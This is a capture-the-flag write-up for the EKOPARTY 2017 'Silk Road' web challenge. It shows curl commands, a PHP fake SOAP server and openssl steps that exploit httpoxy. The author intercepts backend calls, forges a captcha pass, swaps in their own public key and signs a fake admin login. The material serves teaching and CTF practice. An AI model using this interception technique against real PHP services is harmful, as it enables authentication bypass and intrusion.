CTF: EKOPARTY 2017
Points: 496
Category: Web
Description
“We will never make the same mistakes again, we challenge you to read our messages and earn some BTCs!” – DPR
https://silkroadzpvwzxxv.onion/
In this web challenge we’re presented with a website in TOR network. To access it we can use Tor Browser and torify for command line tools like curl:
1 |
torify curl -v -k "https://silkroadzpvwzxxv.onion/" |
The website consists of two pages:
1) Login panel:
2) Registration panel at /register that turns out to be disabled…
Testing for common vulnerabilities like SQL Injection does not provide anything useful.
Let’s take a look at headers:
1 2 3 4 5 6 7 8 9 10 |
$ torify curl -I -k "https://silkroadzpvwzxxv.onion/" HTTP/1.1 200 OK Date: Mon, 18 Sep 2017 11:10:02 GMT Server: Apache Set-Cookie: PHPSESSID=rsg6p15vnm7quglb9kte9e9sb0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Powered-By: PHP/7.0.8 Content-Type: text/html; charset=UTF-8 |
The interesting thing here is the PHP version, let’s try to find some vulnerabilities.
Searching for
php 7.0.8 vulnerability in google leads us to something very interesting:
http://www.securiteam.com/securitynews/5YP321PJQC.html
More about this vulnerability:
https://httpoxy.org/
Quick test:
1 2 3 4 |
$ torify curl -v -k "https://silkroadzpvwzxxv.onion/" -H "Proxy: google.com" … HTTP/1.0 500 Internal Server Error … |
Excellent! We crashed the application!
Now let’s setup amazon instance with Tinyproxy and set it to redirect traffic to local Apache server. The requests are made with HTTPS, so we’ll also need a domain (free from No-IP) and SSL certificate (also free from Let’s Encrypt)
After successfully setting up our server let’s see what requests are being sent:
1 |
$ torify curl -k "https://silkroadzpvwzxxv.onion/" -H "Proxy: ourserver.hopto.org" |
Now we can take a look at /var/log/apache2/access.log on our server and see:
1 |
127.0.0.1 - - [18/Sep/2017:11:39:29 +0000] "POST /d90cdc7988b15060c1896126cee2eae9/hiddenservice_ws.php HTTP/1.1" 404 3750 "-" "PHP-SOAP/7.0.22-0ubuntu0.17.04.1" |
/d90cdc7988b15060c1896126cee2eae9/hiddenservice_ws.php is a valid path in challenge website, but when called with GET it only returns an empty page. Let’s now create a file /d90cdc7988b15060c1896126cee2eae9/hiddenservice_ws.php in our webserver and see what requests are coming from challenge’s server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php $req_dump = ''; $headers = getallheaders(); foreach($headers as $key => $val) { $req_dump.= "$key : $val \n"; } $req_dump.= "\n" . print_r(file_get_contents('php://input') , TRUE); $fp = fopen('request.log', 'a'); fwrite($fp, $req_dump); fclose($fp); ?> |
After making request with Proxy header once again we can see the contents of request in request.log:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
Host : hiddenservicehost Connection : close User-Agent : PHP-SOAP/7.0.22-0ubuntu0.17.04.1 Content-Type : text/xml; charset=utf-8 SOAPAction : "https://hiddenservicehost/d90cdc7988b15060c1896126cee2eae9/getCaptchaWord" Content-Length : 655 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="https://hiddenservicehost/d90cdc7988b15060c1896126cee2eae9/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:getCaptchaWord> <guid xsi:type="xsd:string">6FF45265-5073-8C1B-1BE4-8DD77E546EE0</guid> <IP xsi:type="xsd:string">127.0.0.1</IP> <length xsi:type="xsd:int">6</length> </ns1:getCaptchaWord> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Turns out
hiddenservice_ws.php serves SOAP API, and the query itself is used to generate captcha word. Fun fact – the original Silk Road was tracked down by leaky captcha (at least FBI claims so…), more about it: https://krebsonsecurity.com/2014/09/dread-pirate-sunk-by-leaky-captcha/ – nice try Ekoparty ;).
Now with our proxy hack we can:
- See server queries,
- Send valid queries to real API,
- Respond with our own, changed response.
Knowing this we can try to login to the service. Sending the above request to real hiddenservice_ws.php returns the following output:
1 2 3 4 5 6 7 8 9 10 |
$ torify curl -k "https://silkroadzpvwzxxv.onion/d90cdc7988b15060c1896126cee2eae9/hiddenservice_ws.php" -H "Host: hiddenservicehost" -H "Content-Type: text/xml; charset=utf-8" -H "SOAPAction: https://hiddenservicehost/d90cdc7988b15060c1896126cee2eae9/getCaptchaWord" --data @data.xml <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:getCaptchaWordResponse> <return xsi:type="xsd:string">wsjnDR</return> </ns1:getCaptchaWordResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Let’s now change our script to pretend to be a server and make it send this response back:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<?php $input = print_r(file_get_contents('php://input') , TRUE); $fp = fopen('request.log', 'a'); fwrite($fp, $input); fclose($fp); header('Content-Type: text/xml; charset=utf-8'); if (strstr($input, 'getCaptchaWord') !== False) { ?> <?xmlversion = "1.0"encoding = "UTF-8" ?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getCaptchaWordResponse><return xsi:type="xsd:string">wsjnDR</return></ns1:getCaptchaWordResponse></SOAP-ENV:Body></SOAP-ENV:Envelope> <?php } ?> |
Next request we got:
1 2 3 4 5 6 7 8 9 |
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="https://hiddenservicehost/d90cdc7988b15060c1896126cee2eae9/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:checkCaptchaWord> <guid xsi:nil="true"/> <word xsi:type="xsd:string">123456</word> </ns1:checkCaptchaWord> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Again – we send it to the real server and check the response:
1 2 3 4 5 6 7 8 9 10 |
$ torify curl -k "https://silkroadzpvwzxxv.onion/d90cdc7988b15060c1896126cee2eae9/hiddenservice_ws.php" -H "Host: hiddenservicehost" -H "Content-Type: text/xml; charset=utf-8" -H "SOAPAction: https://hiddenservicehost/d90cdc7988b15060c1896126cee2eae9/getCaptchaWord" --data @data.xml <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:checkCaptchaWordResponse> <return xsi:type="xsd:boolean">false</return> </ns1:checkCaptchaWordResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Let’s change it a little – replace
1 |
<return xsi:type="xsd:boolean">false</return> |
with
1 |
<return xsi:type="xsd:boolean">true</return> |
so that we always pass captcha validation and put it in our fake SOAP server:
14 15 16 17 18 |
else if(strstr($input, 'checkCaptchaWord') !== False) { ?> <?xml version="1.0" encoding="UTF-8"?> ...<return xsi:type="xsd:boolean">true</return>... |
The next request our fake server received from web server:
1 2 3 4 5 6 7 8 |
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="https://hiddenservicehost/d90cdc7988b15060c1896126cee2eae9/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:getPublicKey> <format xsi:type="xsd:string">PEM</format> </ns1:getPublicKey> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
That’s the request for public key – seems like some encryption will take place. Let’s download the key from the real SOAP server and save it for later use:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
… <ns1:getPublicKeyResponse><return xsi:type="xsd:string"> -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAw3vXUQ0nUkDejmMAamcT fsEAgiqy05tZzP7IIrjnWIrA5acJqxctGLDAq36+mHSgAiuPeH2cZFQ3930P3V/V AZCpwM45FqbHn/C0cqt5aV7GbjJQBnpBJj0fNMChvv2XWOWUzS+MABgj8ViZ/6p8 XJIo0HfTaPP5X8ASmRfG0XEpTI8/GKnDcDK3iv+zfleWzBSZeitkD+KJxVU3Wkni CijMadbAXzdEm3H4Mw32Yzv92oU3lyMmboh9p24aiwSQctRDm9/N4hRNC7ZTM5FG TSoTtCxcfAT3SU3wI2erGIDdHxnXOp3wGbxC+oM2LBOUt731SR4zo0StrQu4Sl8r uUo92vUeoJ/nKAfEcN84CP1n5BIx58JWu8rU8V3nZOM+YIpQFS3HgdGUszWcChtv yH4I5337YcuNuBiGyQo46YY1KR5WiXWryz1blpXzyVvELlUoz+o2BsAO/bwaFtaW JTejXqBUGG9NVLmk239UHU3+NxghgH8QrrQV9bWkX25IDNaSVsllzO53hv/Kn2rd AVb4qfonC+J9YFkoTQ4sIwN+Jtv+0AkNuDAlp0Zo3rFW9+vhs4bl6CGrP+Llq72h zAzGZgHXmB8zTXljc2yUyARY2kMyTHYa77uW2v8tyFUn8YxIrgiXwAPqDP/oQILB +okQlWmlmCfYEnRlQVA44HECAwEAAQ== -----END PUBLIC KEY----- |
Now let’s generate our own key pair for forged communication with webpage:
1 2 |
openssl genpkey -algorithm RSA -out my_key/private_key.pem -pkeyopt rsa_keygen_bits:2048 openssl rsa -pubout -in my_key/private_key.pem -out my_key/public_key.pem |
Let’s proceed and create fake response to getPublicKey, this time with our own key and proceed with authentication process:
20 21 22 23 24 25 26 |
else if(strstr($input, 'getPublicKey') !== False) { ?> … <ns1:getPublicKeyResponse><return xsi:type="xsd:string">-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAttk+ShvJl8x+Gh … |
Next request:
1 2 3 4 5 6 7 8 9 10 |
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="https://hiddenservicehost/d90cdc7988b15060c1896126cee2eae9/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:checkCredentials> <username xsi:type="xsd:string">ez8cHs/i4U28hMZV1yJnnJtaDbS7H89mJKPXIe8iIJevy2bIVguYP6CpNNPXU3xPY3Jmz/KccsN1Q2Am/rmh2yiQGqHnE69ljocuNSmTYxf0S5nLODYFFlEkK4SnUhbNV1fOFnQkq9xKFhYjNCr0+aMArSxLdi3GWGxY3Ri6ozlKZ6UHL5wo50JomBYWBRPP4ZiOGoh7PcjOTQhccj/aqT5QkJOKqraPAHMSgVopykIbkOZZK2K7UEI4NtzSN/S9ZbmtmZqlMKevSXzQVnt4cx9HNE4pDam784pGjcbc4iTCWErTniUlTMmgBcUeGPv4sMuIqRPwsS6tIdynN0RpvA==</username> <password xsi:type="xsd:string">BtotLqmqRnQEZ5zHOBNksmpLnKX2O/FXYMahEBy0+HKkoxnBoPiZVl9HyMWxph4aRup/hjFFtB1wJI09xHR/MRr4mxQS7KRhiiRTNTAI9HpWVmFY6tBufeDhylP98M6Aukk7cjHM6dy0vJ0Dc5qqRGHhmLWqdc98xZAxdYlLuLs8YZSmWIMVUp+WM2jhHi2VK67Vr/v/fyz+GYvdKgvGZfpIRPCxw4D9NBaCecNqMkICggxsBnzPR2AXA6z3CK8mC6McCEz+B6YoU6n3ehIrHLd0oLNDiQ8ZPfKnDQdJaP/48inrF/uH2qnSoJbV8ozLNecVH22QUMPQ3Ve+FU1KkQ==</password> <return_format xsi:type="xsd:string">hYgDX7iTGO9PQ19YvgSkqw8lbkKfSDlKZaQD6R7QaUgW9GtcsaZMhO8NRoZ85AVnE/igOo4ck9BG9U/l6aw14Lw75/Kg13+zhb4NihVF+KCdJUgLKuZM9wv4Y0f5xtt9QnBoHxJZzG9qsRwJiZ5t3pBeV2u3M9wX0grUcY9KRaTioUqaSLkhZL7hnxjlB5sQWALG6/xLDU9K0/Iv3ETJ+iev3UPcBbpVYIL27ewg/p35jAUGs2Wd8/UJab0l0xfdMvavpmIT21v81tyUf9uDrGFMD0D4g8qNpbcazconekMs5Ut7WCWZHO81leNJhVUyBMWw+0IaSGPJI8RGbZhvcw==</return_format> </ns1:checkCredentials> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Those strings are base64 encoded and after decoding they look like some random data – let’s try to decrypt it with our private key:
1 2 3 4 5 6 7 |
$ base64 -d <<< "ez8cHs/i4U28hMZV1..." | openssl rsautl -decrypt -inkey my_key/private_key.pem admin $ base64 -d <<< "BtotLqmqRnQE..." | openssl rsautl -decrypt -inkey my_key/private_key.pem admin $ base64 -d <<< "hYgDX7iTGO9PQ19Yv..." | openssl rsautl -decrypt -inkey my_key/private_key.pem #LEVEL#|#ACTIVE#|#USERNAME# |
Sending the query to SOAP api shows us the correct response format:
1 2 3 4 5 6 7 8 |
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:checkCredentialsResponse> <return xsi:type="xsd:string">brAeciqgRwohqYYGxutpv8Cu4x35VWi0EjMaTYpaN...</return> </ns1:checkCredentialsResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
We assume that the data is encrypted using SOAP API’s private key, and the webpage uses public key it received from API to decrypt. Let’s give it a try and write our response in the format we received above, then encrypt it using our private key:
1 2 3 4 5 6 |
$ echo -ne "100|true|admin" | openssl rsautl -sign -inkey private_key.pem | base64 XiX4AaisveD9KlBoNaRpkgSEYpp48U60kLZx5RWHH3+i68cupt0r5O7MEKSNuYEi97cuKs7+v12X wPay2FKGR4J9icuPEcvaJVZT8j0ptMvM9i6sFnLsGD93oXIntyYLDSNUvqzQAP7y0fR2hZHtHQCD wwtQt7qwJZuJPobMNXcSK8jcXmV5EqF0JvYKlwm5aszTYP5/5mo0hGE2FMuNv/5CgXQcI2XocyDO guGd9fALzwB3Fxt6K7PLpoJ2pg4Ln99t0EWfGxXqYzCqLi8Jx8HFCl4dFVSJ37IuqmUPvl1brTkD SrD0t20YtF6awDhnAYTJ9HQcMuvcMLW6XpQcIA== |
We have constructed another correct response to our fake SOAP server, let’s add it to our script:
27 28 29 30 31 32 33 34 35 36 37 38 |
<?php else if (strstr($input, 'checkCredentials') !== False) { ?> <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:checkCredentialsResponse> <return xsi:type="xsd:string">axB28P6hYR+u275oPz...</return> </ns1:checkCredentialsResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Next request our fake API gets:
1 2 3 4 5 6 7 8 |
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="https://hiddenservicehost/d90cdc7988b15060c1896126cee2eae9/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:getUserDetails> <username xsi:type="xsd:string">e/5P1tjauBTvtQWus1+1ijGjI/PMA40JVLMe//RBQukNClchs71NbJFfeMav2/ihPu6BP7JhAqJqTPz3FVUjdazFNcekFvydA1kWj8thI8XbeY0jC7MRNLOnjeWqbK7aOehHTWRirvoq7yD1FTjz/YKPR0ou6FoOpvCngZy3xjaQ08wEH2hEs6AadADvB8yLDPgzdncaTCh9ZmX2WfdHIgHIuZkrtnBTE6iKaup44UF2u8VxhoraaHnNfSHlakd3sD8W50iZgksA+cqb5kguOqVAikUJqKs3Xv0G4UojIiFjayOwWCTP21uHn6yOM/Qy8VnAzhgjUWYW53LxWG21FA==</username> </ns1:getUserDetails> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Nice – seems like we passed the authentication. Sending the query to the real API with username encrypted with server’s public key shows us another correct response format:
1 2 3 4 5 6 7 8 |
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:getUserDetailsResponse> <return xsi:type="xsd:string">lrZfII9VIfSTLgtZIiRo3Z9h5WirUSEgQM18aqdWRR8ncL...</return> </ns1:getUserDetailsResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope> |
Decrypting the message with server’s public key gives:
1 |
a:3:{s:6:"orders";s:1:"0";s:3:"btc";s:1:"0";s:8:"messages";s:1:"0";} |
It’s some structure containing user details serialized using standard PHP serialize method
Again – let’s encrypt it with our private key and add another condition to our fake SOAP script. One last request and…
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ torify curl -v -k "https://silkroadzpvwzxxv.onion/" HTTP/1.1 200 OK Date: Mon, 18 Sep 2017 11:10:02 GMT Server: Apache Set-Cookie: PHPSESSID=rsg6p15vnm7quglb9kte9e9sb0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Location: / Pragma: no-cache X-Powered-By: PHP/7.0.8 Content-Type: text/html; charset=UTF-8 … |
EKO{dread_by_p0xy}